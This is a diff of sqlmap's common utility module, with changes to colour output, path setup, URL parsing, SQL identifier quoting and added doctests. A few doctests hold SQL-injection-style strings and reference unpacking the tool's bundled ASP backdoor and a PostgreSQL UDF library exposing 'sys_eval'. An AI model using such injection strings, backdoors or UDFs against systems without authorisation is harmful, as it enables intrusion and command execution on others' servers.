elif isinstance(current, dict):
|
||||
for key in current.keys():
|
||||
value = current[key]
|
||||
if isinstance(value, (list, tuple, set, dict)):
|
||||
if value:
|
||||
walk(head, value)
|
||||
elif isinstance(value, (bool, int, float, six.string_types)):
|
||||
if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
|
||||
original = current[key]
|
||||
if isinstance(value, bool):
|
||||
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
|
||||
elif value is None:
|
||||
current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)
|
||||
elif value == []:
|
||||
current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)]
|
||||
else:
|
||||
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
||||
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
|
||||
current[key] = original
|
||||
elif isinstance(value, (list, tuple, set, dict)):
|
||||
if value:
|
||||
walk(head, value)
|
||||
|
||||
deserialized = json.loads(testableParameters[parameter])
|
||||
walk(deserialized)
|
||||
@@ -930,20 +941,39 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
||||
|
||||
>>> setColor("Hello World", color="red", istty=True)
|
||||
'\\x1b[31mHello World\\x1b[0m'
|
||||
>>> setColor("[INFO] Hello World", istty=True)
|
||||
'[\\x1b[32mINFO\\x1b[0m] Hello World'
|
||||
>>> setColor("[INFO] Hello [CRITICAL] World", istty=True)
|
||||
'[INFO] Hello [CRITICAL] World'
|
||||
"""
|
||||
|
||||
retVal = message
|
||||
level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
|
||||
|
||||
if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
|
||||
if bold or color:
|
||||
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
||||
elif level:
|
||||
try:
|
||||
level = getattr(logging, level, None)
|
||||
except:
|
||||
level = None
|
||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||
if message:
|
||||
if (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
|
||||
if level is None:
|
||||
levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
|
||||
|
||||
if len(levels) == 1:
|
||||
level = levels[0]
|
||||
|
||||
if bold or color:
|
||||
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
||||
elif level:
|
||||
try:
|
||||
level = getattr(logging, level, None)
|
||||
except:
|
||||
level = None
|
||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||
else:
|
||||
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||
|
||||
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
|
||||
|
||||
message = message.strip()
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -962,11 +992,17 @@ def clearColors(message):
|
||||
|
||||
return retVal
|
||||
|
||||
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
|
||||
def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
|
||||
"""
|
||||
Writes text to the stdout (console) stream
|
||||
"""
|
||||
|
||||
if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"):
|
||||
if re.search(r"\(\d+%\)", data):
|
||||
data = ""
|
||||
else:
|
||||
data = "\n%s" % data.strip("\r")
|
||||
|
||||
if not kb.get("threadException"):
|
||||
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
||||
multiThreadMode = isMultiThreadMode()
|
||||
@@ -975,9 +1011,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
||||
|
||||
try:
|
||||
if conf.get("api"):
|
||||
sys.stdout.write(stdoutEncode(clearColors(data)), status, content_type)
|
||||
sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
|
||||
else:
|
||||
sys.stdout.write(stdoutEncode(setColor(data, bold=bold)))
|
||||
sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
|
||||
|
||||
sys.stdout.flush()
|
||||
except IOError:
|
||||
@@ -1015,6 +1051,16 @@ def dataToDumpFile(dumpFile, data):
|
||||
raise
|
||||
|
||||
def dataToOutFile(filename, data):
|
||||
"""
|
||||
Saves data to filename
|
||||
|
||||
>>> pushValue(conf.get("filePath"))
|
||||
>>> conf.filePath = tempfile.gettempdir()
|
||||
>>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
|
||||
True
|
||||
>>> conf.filePath = popValue()
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
if data:
|
||||
@@ -1109,7 +1155,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||
if not retVal: # Note: Python doesn't print newline on empty input
|
||||
dataToStdout("\n")
|
||||
retVal = retVal.strip() or default
|
||||
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
|
||||
retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal
|
||||
except:
|
||||
try:
|
||||
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
|
||||
@@ -1192,9 +1238,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
|
||||
"""
|
||||
|
||||
if seed is not None:
|
||||
_ = getCurrentThreadData().random
|
||||
_.seed(seed)
|
||||
choice = _.choice
|
||||
_random = getCurrentThreadData().random
|
||||
_random.seed(seed)
|
||||
choice = _random.choice
|
||||
else:
|
||||
choice = random.choice
|
||||
|
||||
@@ -1226,10 +1272,12 @@ def getHeader(headers, key):
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
for _ in (headers or {}):
|
||||
if _.upper() == key.upper():
|
||||
retVal = headers[_]
|
||||
|
||||
for header in (headers or {}):
|
||||
if header.upper() == key.upper():
|
||||
retVal = headers[header]
|
||||
break
|
||||
|
||||
return retVal
|
||||
|
||||
def checkPipedInput():
|
||||
@@ -1238,7 +1286,7 @@ def checkPipedInput():
|
||||
# Reference: https://stackoverflow.com/a/33873570
|
||||
"""
|
||||
|
||||
return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
|
||||
return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno())
|
||||
|
||||
def isZipFile(filename):
|
||||
"""
|
||||
@@ -1310,7 +1358,7 @@ def banner():
|
||||
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
||||
result = BANNER
|
||||
|
||||
if not IS_TTY or "--disable-coloring" in sys.argv:
|
||||
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
|
||||
result = clearColors(result)
|
||||
elif IS_WIN:
|
||||
coloramainit()
|
||||
@@ -1328,9 +1376,9 @@ def parsePasswordHash(password):
|
||||
>>> kb.forcedDbms = popValue()
|
||||
"""
|
||||
|
||||
blank = " " * 8
|
||||
blank = ' ' * 8
|
||||
|
||||
if isNoneValue(password) or password == " ":
|
||||
if isNoneValue(password) or password == ' ':
|
||||
retVal = NULL
|
||||
else:
|
||||
retVal = password
|
||||
@@ -1410,6 +1458,7 @@ def setPaths(rootPath):
|
||||
checkFile(path)
|
||||
|
||||
if IS_WIN:
|
||||
# Reference: https://pureinfotech.com/list-environment-variables-windows-10/
|
||||
if os.getenv("LOCALAPPDATA"):
|
||||
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
|
||||
elif os.getenv("USERPROFILE"):
|
||||
@@ -1419,11 +1468,17 @@ def setPaths(rootPath):
|
||||
else:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_HOME_PATH):
|
||||
if "XDG_DATA_HOME" in os.environ:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
|
||||
else:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
|
||||
|
||||
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
|
||||
# history files
|
||||
# History files
|
||||
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
|
||||
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
|
||||
@@ -1467,7 +1522,7 @@ def parseTargetDirect():
|
||||
if details:
|
||||
conf.dbms = details.group("dbms")
|
||||
|
||||
if details.group('credentials'):
|
||||
if details.group("credentials"):
|
||||
conf.dbmsUser = details.group("user")
|
||||
conf.dbmsPass = details.group("pass")
|
||||
else:
|
||||
@@ -1579,8 +1634,8 @@ def parseTargetUrl():
|
||||
|
||||
originalUrl = conf.url
|
||||
|
||||
if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
|
||||
errMsg = "IPv6 addressing is not supported "
|
||||
if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6:
|
||||
errMsg = "IPv6 communication is not supported "
|
||||
errMsg += "on this platform"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
@@ -1637,7 +1692,7 @@ def parseTargetUrl():
|
||||
conf.port = 80
|
||||
|
||||
if conf.port < 1 or conf.port > 65535:
|
||||
errMsg = "invalid target URL's port (%d)" % conf.port
|
||||
errMsg = "invalid target URL port (%d)" % conf.port
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
|
||||
@@ -1649,13 +1704,13 @@ def parseTargetUrl():
|
||||
else:
|
||||
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
||||
|
||||
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
||||
if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders):
|
||||
debugMsg = "setting the HTTP Referer header to the target URL"
|
||||
logger.debug(debugMsg)
|
||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
||||
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
||||
|
||||
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
|
||||
if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders):
|
||||
debugMsg = "setting the HTTP Host header to the target URL"
|
||||
logger.debug(debugMsg)
|
||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
||||
@@ -1669,6 +1724,11 @@ def escapeJsonValue(value):
|
||||
Escapes JSON value (used in payloads)
|
||||
|
||||
# Reference: https://stackoverflow.com/a/16652683
|
||||
|
||||
>>> "\\n" in escapeJsonValue("foo\\nbar")
|
||||
False
|
||||
>>> "\\\\t" in escapeJsonValue("foo\\tbar")
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = ""
|
||||
@@ -1843,6 +1903,12 @@ def getLocalIP():
|
||||
def getRemoteIP():
|
||||
"""
|
||||
Get remote/target IP address
|
||||
|
||||
>>> pushValue(conf.hostname)
|
||||
>>> conf.hostname = "localhost"
|
||||
>>> getRemoteIP() == "127.0.0.1"
|
||||
True
|
||||
>>> conf.hostname = popValue()
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -1969,6 +2035,9 @@ def normalizePath(filepath):
|
||||
def safeFilepathEncode(filepath):
|
||||
"""
|
||||
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
|
||||
|
||||
>>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = filepath
|
||||
@@ -2175,6 +2244,15 @@ def isHexEncodedString(subject):
|
||||
def isMultiThreadMode():
|
||||
"""
|
||||
Checks if running in multi-thread(ing) mode
|
||||
|
||||
>>> isMultiThreadMode()
|
||||
False
|
||||
>>> _ = lambda: time.sleep(0.1)
|
||||
>>> thread = threading.Thread(target=_)
|
||||
>>> thread.daemon = True
|
||||
>>> thread.start()
|
||||
>>> isMultiThreadMode()
|
||||
True
|
||||
"""
|
||||
|
||||
return threading.activeCount() > 1
|
||||
@@ -2183,6 +2261,9 @@ def isMultiThreadMode():
|
||||
def getConsoleWidth(default=80):
|
||||
"""
|
||||
Returns console width
|
||||
|
||||
>>> any((getConsoleWidth(), True))
|
||||
True
|
||||
"""
|
||||
|
||||
width = None
|
||||
@@ -2389,6 +2470,9 @@ def initCommonOutputs():
|
||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||
"""
|
||||
Returns newline delimited items contained inside file
|
||||
|
||||
>>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = list() if not unique else OrderedDict()
|
||||
@@ -2495,8 +2579,8 @@ def goGoodSamaritan(prevValue, originalCharset):
|
||||
|
||||
def getPartRun(alias=True):
|
||||
"""
|
||||
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
|
||||
Returns it or its alias used in 'txt/common-outputs.txt'
|
||||
Goes through call stack and finds constructs matching
|
||||
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -2703,6 +2787,12 @@ def extractErrorMessage(page):
|
||||
retVal = candidate
|
||||
break
|
||||
|
||||
if not retVal and wasLastResponseDBMSError():
|
||||
match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
|
||||
|
||||
if match:
|
||||
retVal = match.group(0)
|
||||
|
||||
return retVal
|
||||
|
||||
def findLocalPort(ports):
|
||||
@@ -2803,6 +2893,10 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
||||
|
||||
>>> urlencode('AND 1>(2+3)#')
|
||||
'AND%201%3E%282%2B3%29%23'
|
||||
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
|
||||
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
|
||||
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
|
||||
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
|
||||
"""
|
||||
|
||||
if conf.get("direct"):
|
||||
@@ -2812,6 +2906,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
||||
result = None if value is None else ""
|
||||
|
||||
if value:
|
||||
value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
|
||||
|
||||
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
|
||||
warnMsg = "if you experience problems with "
|
||||
warnMsg += "non-ASCII identifier names "
|
||||
@@ -2825,6 +2921,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
||||
# encoded (when not representing URL encoded char)
|
||||
# except in cases when tampering scripts are used
|
||||
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
||||
value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%'
|
||||
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
||||
|
||||
while True:
|
||||
@@ -2845,6 +2942,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
||||
if spaceplus:
|
||||
result = result.replace(_urllib.parse.quote(' '), '+')
|
||||
|
||||
result = result.replace(DOLLAR_MARKER, '$')
|
||||
|
||||
return result
|
||||
|
||||
def runningAsAdmin():
|
||||
@@ -3221,7 +3320,7 @@ def parseSqliteTableSchema(value):
|
||||
Parses table column names and types from specified SQLite table schema
|
||||
|
||||
>>> kb.data.cachedColumns = {}
|
||||
>>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);")
|
||||
>>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
|
||||
True
|
||||
>>> repr(kb.data.cachedColumns).count(',') == 1
|
||||
True
|
||||
@@ -3233,9 +3332,9 @@ def parseSqliteTableSchema(value):
|
||||
table = {}
|
||||
columns = {}
|
||||
|
||||
for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I):
|
||||
for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
|
||||
retVal = True
|
||||
columns[match.group(1)] = match.group(2)
|
||||
columns[match.group(1)] = match.group(2) or "TEXT"
|
||||
|
||||
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
|
||||
kb.data.cachedColumns[conf.db] = table
|
||||
@@ -3332,7 +3431,7 @@ def setOptimize():
|
||||
|
||||
# conf.predictOutput = True
|
||||
conf.keepAlive = True
|
||||
conf.threads = 3 if conf.threads < 3 else conf.threads
|
||||
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||
|
||||
if not conf.nullConnection:
|
||||
@@ -3693,7 +3792,7 @@ def unhandledExceptionMessage():
|
||||
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||
errMsg += "Python version: %s\n" % PYVERSION
|
||||
errMsg += "Operating system: %s\n" % platform.platform()
|
||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
|
||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
||||
errMsg += "Back-end DBMS:"
|
||||
|
||||
@@ -3988,7 +4087,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
||||
thread.start()
|
||||
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
|
||||
|
||||
if thread.isAlive():
|
||||
if thread.is_alive():
|
||||
kb.reflectiveMechanism = False
|
||||
retVal = content
|
||||
if not suppressWarning:
|
||||
@@ -4067,25 +4166,27 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||
if _:
|
||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
||||
|
||||
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
||||
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||
if not conf.noEscape:
|
||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if isTable:
|
||||
parts = retVal.split('.', 1)
|
||||
for i in xrange(len(parts)):
|
||||
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
|
||||
parts[i] = "[%s]" % parts[i]
|
||||
retVal = '.'.join(parts)
|
||||
else:
|
||||
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
|
||||
retVal = "[%s]" % retVal
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if isTable:
|
||||
parts = retVal.split('.', 1)
|
||||
for i in xrange(len(parts)):
|
||||
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
|
||||
parts[i] = "[%s]" % parts[i]
|
||||
retVal = '.'.join(parts)
|
||||
else:
|
||||
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
|
||||
retVal = "[%s]" % retVal
|
||||
|
||||
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
|
||||
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
|
||||
@@ -4108,9 +4209,9 @@ def unsafeSQLIdentificatorNaming(name):
|
||||
retVal = name
|
||||
|
||||
if isinstance(name, six.string_types):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
|
||||
retVal = name.replace("`", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||
retVal = name.replace("\"", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = name.replace("\"", "").upper()
|
||||
@@ -4790,6 +4891,8 @@ def extractExpectedValue(value, expected):
|
||||
True
|
||||
>>> extractExpectedValue('1', EXPECTED.INT)
|
||||
1
|
||||
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
|
||||
True
|
||||
"""
|
||||
|
||||
if expected:
|
||||
@@ -4813,8 +4916,10 @@ def extractExpectedValue(value, expected):
|
||||
else:
|
||||
value = None
|
||||
elif expected == EXPECTED.INT:
|
||||
if isinstance(value, six.string_types):
|
||||
value = int(value) if value.isdigit() else None
|
||||
try:
|
||||
value = int(value)
|
||||
except:
|
||||
value = None
|
||||
|
||||
return value
|
||||
|
||||
@@ -4898,6 +5003,14 @@ def decloakToTemp(filename):
|
||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||
True
|
||||
>>> os.remove(_)
|
||||
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
|
||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||
True
|
||||
>>> os.remove(_)
|
||||
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
|
||||
>>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
|
||||
True
|
||||
>>> os.remove(_)
|
||||
"""
|
||||
|
||||
content = decloak(filename)
|
||||
@@ -4931,6 +5044,12 @@ def getRequestHeader(request, name):
|
||||
Solving an issue with an urllib2 Request header case sensitivity
|
||||
|
||||
# Reference: http://bugs.python.org/issue2275
|
||||
|
||||
>>> _ = lambda _: _
|
||||
>>> _.headers = {"FOO": "BAR"}
|
||||
>>> _.header_items = lambda: _.headers.items()
|
||||
>>> getText(getRequestHeader(_, "foo"))
|
||||
'BAR'
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -5028,6 +5147,13 @@ def pollProcess(process, suppress_errors=False):
|
||||
def parseRequestFile(reqFile, checkParams=True):
|
||||
"""
|
||||
Parses WebScarab and Burp logs and adds results to the target URL list
|
||||
|
||||
>>> handle, reqFile = tempfile.mkstemp(suffix=".req")
|
||||
>>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
|
||||
>>> _ = os.write(handle, content)
|
||||
>>> os.close(handle)
|
||||
>>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
|
||||
True
|
||||
"""
|
||||
|
||||
def _parseWebScarabLog(content):
|
||||
@@ -5146,6 +5272,11 @@ def parseRequestFile(reqFile, checkParams=True):
|
||||
key, value = line.split(":", 1)
|
||||
value = value.strip().replace("\r", "").replace("\n", "")
|
||||
|
||||
# Note: overriding values with --headers '...'
|
||||
match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
|
||||
if match:
|
||||
key, value = match.groups()
|
||||
|
||||
# Cookie and Host headers
|
||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||
cookie = value
|
||||
|
||||
@@ -95,7 +95,7 @@ def htmlUnescape(value):
|
||||
|
||||
try:
|
||||
retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
|
||||
except ValueError:
|
||||
except (ValueError, OverflowError):
|
||||
pass
|
||||
|
||||
return retVal
|
||||
